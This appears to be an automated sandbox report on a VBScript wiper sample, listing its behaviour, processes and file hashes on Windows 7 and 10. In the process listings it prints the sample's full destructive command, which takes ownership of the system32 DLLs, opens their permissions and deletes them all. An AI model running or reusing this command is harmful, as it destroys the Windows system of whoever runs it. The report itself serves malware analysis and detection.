Malware Analysis Report

2024-11-16 12:57

Sample ID 240809-zqst1asflc
Target target.vbs
SHA256 25222982f06a67bc1f37ddf33f74be204b1df193c00a0fa0cfb95e79dd20a73c
Tags
discovery exploit
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

25222982f06a67bc1f37ddf33f74be204b1df193c00a0fa0cfb95e79dd20a73c

Threat Level: Likely malicious

The file target.vbs was found to be: Likely malicious.

Malicious Activity Summary

discovery exploit

Possible privilege escalation attempt

Checks computer location settings

Modifies file permissions

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Modifies registry class

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-09 20:55

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-09 20:55

Reported

2024-08-09 20:58

Platform

win7-20240705-en

Max time kernel

16s

Max time network

17s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.vbs"

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16target.vbs"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\*.dll

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\*.dll /grant Everyone:(F)

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16target.vbs

MD5 e1927179ed9426b0d7e8ea05f274e1aa
SHA1 52d760ce1cbc5999639667700deaa1dd855f6ee2
SHA256 23e6a8a3566e9abf76e82b16256943c780091688dbd7df5bcf6870af9f960e6b
SHA512 86a7f8d6f2d687530e1d1b9e88923839e52dc422aaca6a43db95b9c1046ce19a3f2bb139b12d689edfdd0f134e6fd1be62c00ebf8dbd8bb69505ede0a9987b9e

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-09 20:55

Reported

2024-08-09 20:58

Platform

win10v2004-20240802-en

Max time kernel

149s

Max time network

152s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.vbs"

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000_Classes\Local Settings C:\Windows\System32\WScript.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 920 wrote to memory of 4640 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 920 wrote to memory of 4640 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 920 wrote to memory of 1512 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 920 wrote to memory of 1512 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 1512 wrote to memory of 1144 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 1512 wrote to memory of 1144 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 1512 wrote to memory of 4768 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 1512 wrote to memory of 4768 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16target.vbs"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\*.dll

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\*.dll /grant Everyone:(F)

Network

Country Destination Domain Proto
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 75.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16target.vbs

MD5 e1927179ed9426b0d7e8ea05f274e1aa
SHA1 52d760ce1cbc5999639667700deaa1dd855f6ee2
SHA256 23e6a8a3566e9abf76e82b16256943c780091688dbd7df5bcf6870af9f960e6b
SHA512 86a7f8d6f2d687530e1d1b9e88923839e52dc422aaca6a43db95b9c1046ce19a3f2bb139b12d689edfdd0f134e6fd1be62c00ebf8dbd8bb69505ede0a9987b9e